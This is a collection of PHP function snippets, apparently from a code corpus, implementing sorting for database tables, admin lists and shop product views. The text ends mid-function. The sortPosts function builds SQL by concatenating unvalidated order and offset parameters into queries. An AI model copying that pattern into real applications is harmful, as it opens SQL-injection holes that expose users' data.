sortAction()\n {\n $this->getResponse()->addHeader('Content-type', 'text/plain');\n $this->getResponse()->sendHeaders();\n\n $sql_set = \"SET @sort := 0, @context := ''\";\n\n $sql_context = 'UPDATE `%1$s` SET\n`sort`=(@sort := IF(@context != `%3$s`, 0, @sort +1)),\n`%3$s` = (@context := `%3$s`)\nORDER BY `%3$s`,`sort`,`%2$s`';\n\n $sql_single = 'UPDATE `%1$s` SET\n`sort`=(@sort := @sort +1)\nORDER BY `sort`,`%2$s`';\n\n $tables = array(\n 'shop_plugin' => 'shopPluginModel',\n 'shop_product_skus' => 'shopProductSkusModel',\n 'shop_type' => 'shopTypeModel',\n 'shop_type_features' => 'shopTypeFeaturesModel',\n 'shop_feature_values_dimension' => 'shopFeatureValuesDimensionModel',\n 'shop_feature_values_double' => 'shopFeatureValuesDoubleModel',\n 'shop_feature_values_text' => 'shopFeatureValuesTextModel',\n 'shop_feature_values_varchar' => 'shopFeatureValuesVarcharModel',\n 'shop_feature_values_color' => 'shopFeatureValuesColorModel',\n 'shop_importexport' => 'shopImportexportModel',\n );\n\n $counter = 0;\n\n $trace = waRequest::request('trace');\n\n foreach ($tables as $table => $table_model) {\n if (class_exists($table_model)) {\n $model = new $table_model();\n /**\n * @var $model shopSortableModel\n */\n print sprintf(\"#%d\\tRepair sort field at `%s` table:\\n\", ++$counter, $table);\n try {\n $id = $model->getTableId();\n if (is_array($id)) {\n $id = implode('`, `', $id);\n }\n if ($context = $model->getTableContext()) {\n $sql = sprintf($sql_context, $model->getTableName(), $id, $context);\n } else {\n $sql = sprintf($sql_single, $model->getTableName(), $id);\n }\n if ($trace) {\n print \"{$sql_set};\\n{$sql};\\n\";\n }\n $model->exec($sql_set);\n $model->exec($sql);\n print \"OK\";\n } catch (waDbException $e) {\n print \"ERROR:\".$e->getMessage();\n }\n print \"\\n\\n\";\n }\n }\n if (empty($model)) {\n $model = new waModel();\n }\n\n $tables = array(\n 'shop_product_images' => 'product_id',\n 'shop_product_pages' => 'product_id',\n 'shop_service_variants' => 'service_id',\n //'shop_set_products' => 'set_id',\n //'shop_tax_zip_codes' => 'tax_id',\n );\n foreach ($tables as $table => $context) {\n $sqls = array();\n $sqls[] = \"SET @sort := 0, @context := ''\";\n $sqls[] = \"UPDATE `{$table}` SET\n`sort`=(@sort := IF(@context != `{$context}`, 0, @sort +1)),\n`{$context}` = (@context := `{$context}`)\nORDER BY `{$context}`,`sort`,`id`\";\n\n print sprintf(\"#%d\\tRepair sort field at `%s` table:\\n\", ++$counter, $table);\n while ($sql = array_shift($sqls)) {\n try {\n if ($trace) {\n print \"{$sql};\\n\";\n }\n $model->exec($sql);\n } catch (waDbException $e) {\n print \"ERROR:\".$e->getMessage().\"\\n\\n\";\n break;\n }\n }\n if (!$sqls) {\n print \"OK\\n\\n\";\n }\n }\n\n $tables = array(\n 'shop_currency' => 'code',\n 'shop_service' => 'id',\n 'shop_set' => 'id',\n 'shop_stock' => 'id',\n\n );\n foreach ($tables as $table => $id) {\n $sqls = array();\n $sqls[] = \"SET @sort := 0\";\n $sqls[] = \"UPDATE `{$table}` SET\n`sort`=(@sort := @sort +1)\nORDER BY `sort`,`{$id}`\";\n\n print sprintf(\"#%d\\tRepair sort field at `%s` table:\\n\", ++$counter, $table);\n while ($sql = array_shift($sqls)) {\n try {\n if ($trace) {\n print \"{$sql};\\n\";\n }\n $model->exec($sql);\n } catch (waDbException $e) {\n print \"ERROR:\".$e->getMessage().\"\\n\\n\";\n break;\n }\n }\n if (!$sqls) {\n print \"OK\\n\\n\";\n }\n }\n }", "function SetUpSortOrder() {\n\n\t\t// Check for Ctrl pressed\n\t\t$bCtrl = (@$_GET[\"ctrl\"] <> \"\");\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$this->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$this->UpdateSort($this->tgl, $bCtrl); // tgl\n\t\t\t$this->UpdateSort($this->no_spp, $bCtrl); // no_spp\n\t\t\t$this->UpdateSort($this->jns_spp, $bCtrl); // jns_spp\n\t\t\t$this->UpdateSort($this->kd_mata, $bCtrl); // kd_mata\n\t\t\t$this->UpdateSort($this->urai, $bCtrl); // urai\n\t\t\t$this->UpdateSort($this->jmlh, $bCtrl); // jmlh\n\t\t\t$this->UpdateSort($this->jmlh1, $bCtrl); // jmlh1\n\t\t\t$this->UpdateSort($this->jmlh2, $bCtrl); // jmlh2\n\t\t\t$this->UpdateSort($this->jmlh3, $bCtrl); // jmlh3\n\t\t\t$this->UpdateSort($this->jmlh4, $bCtrl); // jmlh4\n\t\t\t$this->UpdateSort($this->nm_perus, $bCtrl); // nm_perus\n\t\t\t$this->UpdateSort($this->alamat, $bCtrl); // alamat\n\t\t\t$this->UpdateSort($this->npwp, $bCtrl); // npwp\n\t\t\t$this->UpdateSort($this->pimpinan, $bCtrl); // pimpinan\n\t\t\t$this->UpdateSort($this->bank, $bCtrl); // bank\n\t\t\t$this->UpdateSort($this->rek, $bCtrl); // rek\n\t\t\t$this->UpdateSort($this->nospm, $bCtrl); // nospm\n\t\t\t$this->UpdateSort($this->tglspm, $bCtrl); // tglspm\n\t\t\t$this->UpdateSort($this->ppn, $bCtrl); // ppn\n\t\t\t$this->UpdateSort($this->ps21, $bCtrl); // ps21\n\t\t\t$this->UpdateSort($this->ps22, $bCtrl); // ps22\n\t\t\t$this->UpdateSort($this->ps23, $bCtrl); // ps23\n\t\t\t$this->UpdateSort($this->ps4, $bCtrl); // ps4\n\t\t\t$this->UpdateSort($this->kodespm, $bCtrl); // kodespm\n\t\t\t$this->UpdateSort($this->nambud, $bCtrl); // nambud\n\t\t\t$this->UpdateSort($this->nppk, $bCtrl); // nppk\n\t\t\t$this->UpdateSort($this->nipppk, $bCtrl); // nipppk\n\t\t\t$this->UpdateSort($this->prog, $bCtrl); // prog\n\t\t\t$this->UpdateSort($this->prog1, $bCtrl); // prog1\n\t\t\t$this->UpdateSort($this->bayar, $bCtrl); // bayar\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "public function GetSortType() { return $this->SortType; }", "function publisher_getOrderBy($sort)\r\n{\r\n if ($sort == \"datesub\") {\r\n return \"DESC\";\r\n } else if ($sort == \"counter\") {\r\n return \"DESC\";\r\n } else if ($sort == \"weight\") {\r\n return \"ASC\";\r\n }\r\n}", "public function sort_list()\r\n {\r\n return view( $this->_skin .'.web.help_sort');\r\n }", "function SetupSortOrder() {\n\n\t\t// Check for Ctrl pressed\n\t\t$bCtrl = (@$_GET[\"ctrl\"] <> \"\");\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$this->CurrentOrder = @$_GET[\"order\"];\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$this->UpdateSort($this->fecha_tamizaje, $bCtrl); // fecha_tamizaje\n\t\t\t$this->UpdateSort($this->id_centro, $bCtrl); // id_centro\n\t\t\t$this->UpdateSort($this->apellidopaterno, $bCtrl); // apellidopaterno\n\t\t\t$this->UpdateSort($this->apellidomaterno, $bCtrl); // apellidomaterno\n\t\t\t$this->UpdateSort($this->nombre, $bCtrl); // nombre\n\t\t\t$this->UpdateSort($this->ci, $bCtrl); // ci\n\t\t\t$this->UpdateSort($this->fecha_nacimiento, $bCtrl); // fecha_nacimiento\n\t\t\t$this->UpdateSort($this->dias, $bCtrl); // dias\n\t\t\t$this->UpdateSort($this->semanas, $bCtrl); // semanas\n\t\t\t$this->UpdateSort($this->meses, $bCtrl); // meses\n\t\t\t$this->UpdateSort($this->sexo, $bCtrl); // sexo\n\t\t\t$this->UpdateSort($this->discapacidad, $bCtrl); // discapacidad\n\t\t\t$this->UpdateSort($this->id_tipodiscapacidad, $bCtrl); // id_tipodiscapacidad\n\t\t\t$this->UpdateSort($this->resultado, $bCtrl); // resultado\n\t\t\t$this->UpdateSort($this->resultadotamizaje, $bCtrl); // resultadotamizaje\n\t\t\t$this->UpdateSort($this->tapon, $bCtrl); // tapon\n\t\t\t$this->UpdateSort($this->tipo, $bCtrl); // tipo\n\t\t\t$this->UpdateSort($this->repetirprueba, $bCtrl); // repetirprueba\n\t\t\t$this->UpdateSort($this->observaciones, $bCtrl); // observaciones\n\t\t\t$this->UpdateSort($this->id_apoderado, $bCtrl); // id_apoderado\n\t\t\t$this->UpdateSort($this->id_referencia, $bCtrl); // id_referencia\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "function sortPosts($filter, $order, $tab, $start = null){\r\n\t\t$start = $start != null ? $start.\",\" : \"\";\r\n\r\n\t\tswitch($filter){\r\n\t\t\tcase 'title':\r\n\t\t\t\tif($tab == 'all')\r\n\t\t\t\t\t$query = \"SELECT * FROM post ORDER BY title \".$order.\" LIMIT \".$start.\"20\";\r\n\t\t\t\telse\r\n\t\t\t\t\t$query = \"SELECT * FROM post WHERE author=\".$_SESSION['id'].\" ORDER BY title \".$order.\" LIMIT \".$start.\"20\";\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'date':\r\n\t\t\t\tif($tab == 'all')\r\n\t\t\t\t\t$query = \"SELECT * FROM post ORDER BY dateLastModified \".$order.\" LIMIT \".$start.\"20\";\r\n\t\t\t\telse\r\n\t\t\t\t\t$query = \"SELECT * FROM post WHERE author=\".$_SESSION['id'].\" ORDER BY dateLastModified \".$order.\" LIMIT \".$start.\"20\";\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'comment':\r\n\t\t\t\tif($tab == 'all')\r\n\t\t\t\t\t$query = \"SELECT P.*, COUNT(C.id) FROM post P LEFT OUTER JOIN comment C ON P.id=C.post GROUP BY P.id ORDER BY COUNT(C.id) \".$order.\" LIMIT \".$start.\"20\";\r\n\t\t\t\telse\r\n\t\t\t\t\t$query = \"SELECT P.*, COUNT(C.id) FROM post P LEFT OUTER JOIN comment C ON P.id=C.post WHERE P.author=\".$_SESSION['id'].\" GROUP BY P.id ORDER BY COUNT(C.id) \".$order.\" LIMIT \".$start.\"20\";\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'like':\r\n\t\t\t\tif($tab == 'all')\r\n\t\t\t\t\t$query = \"SELECT P.*, COUNT(L.id) \r\n\t\t\t\t\t\t\tFROM post P LEFT OUTER JOIN (SELECT * FROM `like` WHERE type='L' ) AS L ON P.id=L.idpost\r\n\t\t\t\t\t\t\tGROUP BY P.id \r\n\t\t\t\t\t\t\tORDER BY COUNT(L.id) \".$order.\" LIMIT \".$start.\"20\";\r\n\t\t\t\telse\r\n\t\t\t\t\t$query = \"SELECT P.*, COUNT(L.id) \r\n\t\t\t\t\t\t\tFROM post P LEFT OUTER JOIN (SELECT * FROM `like` WHERE type='L' ) AS L ON P.id=L.idpost\r\n\t\t\t\t\t\t\tWHERE P.author=\".$_SESSION['id'].\"\r\n\t\t\t\t\t\t\tGROUP BY P.id \r\n\t\t\t\t\t\t\tORDER BY COUNT(L.id) \".$order.\" LIMIT \".$start.\"20\";\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'dislike':\r\n\t\t\t\tif($tab == 'all')\r\n\t\t\t\t\t$query = \"SELECT P.*, COUNT(L.id) \r\n\t\t\t\t\t\t\tFROM post P LEFT OUTER JOIN (SELECT * FROM `like` WHERE type='D' ) AS L ON P.id=L.idpost\r\n\t\t\t\t\t\t\tGROUP BY P.id \r\n\t\t\t\t\t\t\tORDER BY COUNT(L.id) \".$order.\" LIMIT \".$start.\"20\";\r\n\t\t\t\telse\r\n\t\t\t\t\t$query = \"SELECT P.*, COUNT(L.id) \r\n\t\t\t\t\t\t\tFROM post P LEFT OUTER JOIN (SELECT * FROM `like` WHERE type='D' ) AS L ON P.id=L.idpost\r\n\t\t\t\t\t\t\tWHERE P.author=\".$_SESSION['id'].\"\r\n\t\t\t\t\t\t\tGROUP BY P.id \r\n\t\t\t\t\t\t\tORDER BY COUNT(L.id) \".$order.\" LIMIT \".$start.\"20\";\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t\treturn fetchPosts($query);\r\n\t}", "public static function getDefaultSorting()\n {\n\n }", "public function getSortBy();", "function SetUpSortOrder() {\n\t\tglobal $t_tinbai_mainsite;\n\n\t\t// Check for Ctrl pressed\n\t\t$bCtrl = (@$_GET[\"ctrl\"] <> \"\");\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$t_tinbai_mainsite->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$t_tinbai_mainsite->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_CONGTY_ID, $bCtrl); // FK_CONGTY_ID\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_DMGIOITHIEU_ID, $bCtrl); // FK_DMGIOITHIEU_ID\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_DMTUYENSINH_ID, $bCtrl); // FK_DMTUYENSINH_ID\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_DTSVTUONGLAI_ID, $bCtrl); // FK_DTSVTUONGLAI_ID\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_DTSVDANGHOC_ID, $bCtrl); // FK_DTSVDANGHOC_ID\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_DTCUUSV_ID, $bCtrl); // FK_DTCUUSV_ID\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_DTDOANHNGHIEP_ID, $bCtrl); // FK_DTDOANHNGHIEP_ID\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_TITLE, $bCtrl); // C_TITLE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_HIT_MAINSITE, $bCtrl); // C_HIT_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_NEW_MYSEFLT, $bCtrl); // C_NEW_MYSEFLT\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_COMMENT_MAINSITE, $bCtrl); // C_COMMENT_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_ORDER_MAINSITE, $bCtrl); // C_ORDER_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_STATUS_MAINSITE, $bCtrl); // C_STATUS_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_VISITOR_MAINSITE, $bCtrl); // C_VISITOR_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_ACTIVE_MAINSITE, $bCtrl); // C_ACTIVE_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_TIME_ACTIVE_MAINSITE, $bCtrl); // C_TIME_ACTIVE_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_NGUOIDUNGID_MAINSITE, $bCtrl); // FK_NGUOIDUNGID_MAINSITE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_NOTE, $bCtrl); // C_NOTE\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_USER_ADD, $bCtrl); // C_USER_ADD\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_ADD_TIME, $bCtrl); // C_ADD_TIME\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_USER_EDIT, $bCtrl); // C_USER_EDIT\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->C_EDIT_TIME, $bCtrl); // C_EDIT_TIME\n\t\t\t$t_tinbai_mainsite->UpdateSort($t_tinbai_mainsite->FK_EDITOR_ID, $bCtrl); // FK_EDITOR_ID\n\t\t\t$t_tinbai_mainsite->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "public function sort();", "public function sort()\n {\n $this->repository->sort(Input::all());\n }", "public function getSort()\n {\n return $this->sort;\n }", "public function getSort()\n {\n return $this->sort;\n }", "function GetCurrentSort()\n\t{\n\t\tif (isset ( $this->m_externalParmas ['sortby'] ))\n\t\t{\n\t\t\treturn $this->m_externalParmas ['sortby'];\n\t\t}\n\t\t//From CMS\n\t\t$res = $this->m_sortBy;\n\t\t\n\t\tif (($newRes = DB::REQUEST ( \"sort{$this->m_linkIDName}\" )))\n\t\t{\n\t\t\t$res = $newRes;\n\t\t}\n\t\treturn $res;\n\t}", "private function GetSortField()\r\n\t\t{\r\n\t\t\tif (isset($_GET['sort'])) {\r\n\t\t\t\t$this->_sort = $_GET['sort'];\r\n\t\t\t} else {\r\n\t\t\t\t$this->_sort = \"featured\";\r\n\t\t\t}\r\n\r\n\t\t\t$priceColumn = 'p.prodcalculatedprice';\r\n\r\n\t\t\tswitch ($this->_sort) {\r\n\t\t\t\tcase \"featured\": {\r\n\t\t\t\t\t$GLOBALS['SortFeaturedSelected'] = 'selected=\"selected\"';\r\n\t\t\t\t\treturn \"p.prodsortorder asc\";\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tcase \"newest\": {\r\n\t\t\t\t\t$GLOBALS['SortNewestSelected'] = 'selected=\"selected\"';\r\n\t\t\t\t\treturn \"p.productid desc\";\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tcase \"bestselling\": {\r\n\t\t\t\t\t$GLOBALS['SortBestSellingSelected'] = 'selected=\"selected\"';\r\n\t\t\t\t\treturn \"p.prodnumsold desc\";\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tcase \"alphaasc\": {\r\n\t\t\t\t\t$GLOBALS['SortAlphaAsc'] = 'selected=\"selected\"';\r\n\t\t\t\t\treturn \"p.prodname asc\";\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tcase \"alphadesc\": {\r\n\t\t\t\t\t$GLOBALS['SortAlphaDesc'] = 'selected=\"selected\"';\r\n\t\t\t\t\treturn \"p.prodname desc\";\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tcase \"avgcustomerreview\": {\r\n\t\t\t\t\t$GLOBALS['SortAvgReview'] = 'selected=\"selected\"';\r\n\t\t\t\t\treturn \"prodavgrating desc\";\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tcase \"priceasc\": {\r\n\t\t\t\t\t$GLOBALS['SortPriceAsc'] = 'selected=\"selected\"';\r\n\t\t\t\t\treturn $priceColumn.' ASC';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tcase \"pricedesc\": {\r\n\t\t\t\t\t$GLOBALS['SortPriceDesc'] = 'selected=\"selected\"';\r\n\t\t\t\t\treturn $priceColumn.' DESC';\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}", "public function getSort()\n {\n return 168;\n }", "protected function applySorting()\n\t{\n\t\t$i = 1;\n\t\tparse_str($this->order, $list);\n\t\tforeach ($list as $field => $dir) {\n\t\t\t$this->dataSource->sort($field, $dir === 'a' ? IDataSource::ASCENDING : IDataSource::DESCENDING);\n\t\t\t$list[$field] = array($dir, $i++);\n\t\t}\n\t\treturn $list;\n\t}", "public function getSort() { return ''; }", "function SetUpSortOrder() {\r\n\r\n\t\t// Check for \"order\" parameter\r\n\t\tif (@$_GET[\"order\"] <> \"\") {\r\n\t\t\t$this->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\r\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\r\n\t\t\t$this->UpdateSort($this->identries); // identries\r\n\t\t\t$this->UpdateSort($this->titulo); // titulo\r\n\t\t\t$this->UpdateSort($this->id); // id\r\n\t\t\t$this->UpdateSort($this->islive); // islive\r\n\t\t\t$this->UpdateSort($this->tool_id); // tool_id\r\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\r\n\t\t}\r\n\t}", "public function getSort() {\n return $this->sort;\n }", "function SetUpSortOrder() {\n\n\t\t// Check for Ctrl pressed\n\t\t$bCtrl = (@$_GET[\"ctrl\"] <> \"\");\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$this->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$this->UpdateSort($this->id, $bCtrl); // id\n\t\t\t$this->UpdateSort($this->detail_jenis_spp, $bCtrl); // detail_jenis_spp\n\t\t\t$this->UpdateSort($this->no_spp, $bCtrl); // no_spp\n\t\t\t$this->UpdateSort($this->tgl_spp, $bCtrl); // tgl_spp\n\t\t\t$this->UpdateSort($this->keterangan, $bCtrl); // keterangan\n\t\t\t$this->UpdateSort($this->no_spm, $bCtrl); // no_spm\n\t\t\t$this->UpdateSort($this->tgl_spm, $bCtrl); // tgl_spm\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "static function includeSorting()\n {\n return false;\n }", "public static function addSorting(\\Elgg\\Hook $hook) {\n\t\t\n\t\t$allowed_sorting_tabs = [\n\t\t\t'all',\n\t\t\t'yours',\n\t\t\t'open',\n\t\t\t'closed',\n\t\t\t'featured',\n\t\t];\n\t\t$selected_tab = $hook->getParam('filter_value');\n\t\tif (!in_array($selected_tab, $allowed_sorting_tabs)) {\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t$base_url = current_page_url();\n\t\t\n\t\t$return = $hook->getValue();\n\t\t\n\t\t$order = get_input('order');\n\t\tif (!in_array($order, ['ASC', 'DESC'])) {\n\t\t\t$order = 'ASC';\n\t\t}\n\t\t\n\t\t// main sorting menu item\n\t\t$return[] = \\ElggMenuItem::factory([\n\t\t\t'name' => 'sorting',\n\t\t\t'icon' => 'sort',\n\t\t\t'text' => false,\n\t\t\t'title' => elgg_echo('sort'),\n\t\t\t'href' => false,\n\t\t\t'priority' => 99999, // needs to be last\n\t\t\t'child_menu' => [\n\t\t\t\t'display' => 'dropdown',\n\t\t\t\t'data-position' => json_encode([\n\t\t\t\t\t'my' => 'right top',\n\t\t\t\t\t'at' => 'right bottom',\n\t\t\t\t\t'collision' => 'fit fit',\n\t\t\t\t]),\n\t\t\t],\n\t\t]);\n\t\t\n\t\t// add sorting options\n\t\t$return[] = \\ElggMenuItem::factory([\n\t\t\t'name' => 'newest',\n\t\t\t'icon' => 'sort-amount-desc',\n\t\t\t'text' => elgg_echo('sort:newest'),\n\t\t\t'title' => elgg_echo('sort:newest'),\n\t\t\t'href' => elgg_http_add_url_query_elements($base_url, [\n\t\t\t\t'sort' => 'newest',\n\t\t\t]),\n\t\t\t'priority' => 100,\n\t\t\t'parent_name' => 'sorting',\n\t\t\t'selected' => get_input('sort') === 'newest',\n\t\t]);\n\t\t$return[] = \\ElggMenuItem::factory([\n\t\t\t'name' => 'alpha',\n\t\t\t'icon' => $order === 'ASC' ? 'sort-alpha-up' : 'sort-alpha-down',\n\t\t\t'text' => elgg_echo('sort:alpha'),\n\t\t\t'title' => elgg_echo('sort:alpha'),\n\t\t\t'href' => elgg_http_add_url_query_elements($base_url, [\n\t\t\t\t'sort' => 'alpha',\n\t\t\t\t'order' => $order === 'ASC' ? 'DESC': 'ASC',\n\t\t\t]),\n\t\t\t'priority' => 200,\n\t\t\t'parent_name' => 'sorting',\n\t\t\t'selected' => get_input('sort') === 'alpha',\n\t\t]);\n\t\t$return[] = \\ElggMenuItem::factory([\n\t\t\t'name' => 'popular',\n\t\t\t'icon' => 'sort-numeric-desc',\n\t\t\t'text' => elgg_echo('sort:popular'),\n\t\t\t'title' => elgg_echo('sort:popular'),\n\t\t\t'href' => elgg_http_add_url_query_elements($base_url, [\n\t\t\t\t'sort' => 'popular',\n\t\t\t]),\n\t\t\t'priority' => 300,\n\t\t\t'parent_name' => 'sorting',\n\t\t\t'selected' => get_input('sort') === 'popular',\n\t\t]);\n\t\t\n\t\treturn $return;\n\t}", "function sort_admin_categories()\n {\n $this->outer_template = null;\n\n // Require admin login\n if(!(isset($_SESSION['active_user']) && $_SESSION['active_user']['type'] == 'admin'))\n die;\n\n if(!isset($_POST['SortOrder']))\n die;\n\n $order = explode(',', $_POST['SortOrder']); \n\n $m_categories = instance_model('member_categories');\n\n $m_categories->update_sort($order);\n }", "public function getSort()\n {\n return $this->__sort__;\n }", "public function getSort()\n\t{\n\t\treturn 500;\n\t}", "public function sort($sort)\n {\n switch ($sort):\n case 'price_up':\n return view('index')->with(['data' => CollectionHelper::paginate(Ad::query()->get()->sortBy('price'), 10)]);\n case 'price_down':\n return view('index')->with(['data' => CollectionHelper::paginate(Ad::query()->get()->sortByDesc('price'), 10)]);\n case 'date_up':\n return view('index')->with(['data' => CollectionHelper::paginate(Ad::query()->get()->sortBy('created_at'), 10)]);\n case 'date_down':\n return view('index')->with(['data' => CollectionHelper::paginate(Ad::query()->get()->sortByDesc('created_at'), 10)]);\n endswitch;\n return view('index')->with(['data' => Ad::query()->paginate(10)]);\n }", "public function SetSort()\n\t\t{\n\t\t\tif (!isset($_GET['sort']) || empty($_GET['sort'])) {\n\t\t\t\t$_GET['sort'] = \"priceasc\";\n\t\t\t}\n\n\t\t\tswitch ($_GET['sort']) {\n\t\t\t\tcase \"featured\": {\n\t\t\t\t\t$GLOBALS['SortFeaturedSelected'] = 'selected=\"selected\"';\n\t\t\t\t\t$this->SetSortField(\"p.prodsortorder desc\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase \"newest\": {\n\t\t\t\t\t$GLOBALS['SortNewestSelected'] = 'selected=\"selected\"';\n\t\t\t\t\t$this->SetSortField(\"p.productid desc\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase \"bestselling\": {\n\t\t\t\t\t$GLOBALS['SortBestSellingSelected'] = 'selected=\"selected\"';\n\t\t\t\t\t$this->SetSortField(\"p.prodnumsold desc\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase \"alphaasc\": {\n\t\t\t\t\t$GLOBALS['SortAlphaAsc'] = 'selected=\"selected\"';\n\t\t\t\t\t$this->SetSortField(\"p.prodname asc\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase \"alphadesc\": {\n\t\t\t\t\t$GLOBALS['SortAlphaDesc'] = 'selected=\"selected\"';\n\t\t\t\t\t$this->SetSortField(\"p.prodname desc\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase \"avgcustomerreview\": {\n\t\t\t\t\t$GLOBALS['SortAvgReview'] = 'selected=\"selected\"';\n\t\t\t\t\t$this->SetSortField(\"prodavgrating desc\");\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase \"pricedesc\": {\n\t\t\t\t\t$GLOBALS['SortPriceDesc'] = 'selected=\"selected\"';\n\t\t\t\t\t$this->SetSortField(\"p.prodcalculatedprice desc\");\n\t\t\t\t\tbreak;\n\n\t\t\t\t}\n\t\t\t\tcase \"priceasc\":\n\t\t\t\tdefault:\n\t\t\t\t{\n\t\t\t\t\t$GLOBALS['SortPriceAsc'] = 'selected=\"selected\"';\n\t\t\t\t\t$this->SetSortField(\"p.prodcalculatedprice asc\");\n\t\t\t\t\t$_GET['sort'] = \"priceasc\";\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$this->_pricesort = $_GET['sort'];\n\t\t}", "public static function _init()\n\t{\n\t\t$config = \\Config::get('tablesort', array());\n\n\t\tstatic::set_config($config);\n\t}", "protected function _setSortingParameters()\n {\n $sSortingParameters = $this->getViewParameter('sorting');\n if ($sSortingParameters) {\n list($sSortBy, $sSortDir) = explode('|', $sSortingParameters);\n $this->setItemSorting($this->getSortIdent(), $sSortBy, $sSortDir);\n }\n }", "function MyMod_Sort_Get($sort=\"\")\n {\n if ($sort==\"\")\n {\n $sort=$this->Sort;\n $value=$this->CGI_VarValue($this->ModuleName.\"_Sort\");\n if (!empty($value))\n {\n $sort=$value;\n }\n }\n\n return $sort;\n }", "public function getSorting()\n {\n return $this->sorting;\n }", "public function getSorting()\n {\n return $this->sorting;\n }", "public function setSorting($arrSorting);", "abstract protected function setUpComparator();", "public function getSort() {\n return 30;\n }", "public static function sortables()\n {\n return ['plot_ref', 'plot_active', 'plot_percent_cultivated_land', 'plot_real_area', 'plot_start_date'];\n }", "function SetupSortOrder() {\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$this->CurrentOrder = @$_GET[\"order\"];\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$this->UpdateSort($this->tanggal); // tanggal\n\t\t\t$this->UpdateSort($this->auc_number); // auc_number\n\t\t\t$this->UpdateSort($this->start_bid); // start_bid\n\t\t\t$this->UpdateSort($this->close_bid); // close_bid\n\t\t\t$this->UpdateSort($this->lot_number); // lot_number\n\t\t\t$this->UpdateSort($this->chop); // chop\n\t\t\t$this->UpdateSort($this->grade); // grade\n\t\t\t$this->UpdateSort($this->estate); // estate\n\t\t\t$this->UpdateSort($this->sack); // sack\n\t\t\t$this->UpdateSort($this->netto); // netto\n\t\t\t$this->UpdateSort($this->open_bid); // open_bid\n\t\t\t$this->UpdateSort($this->highest_bid); // 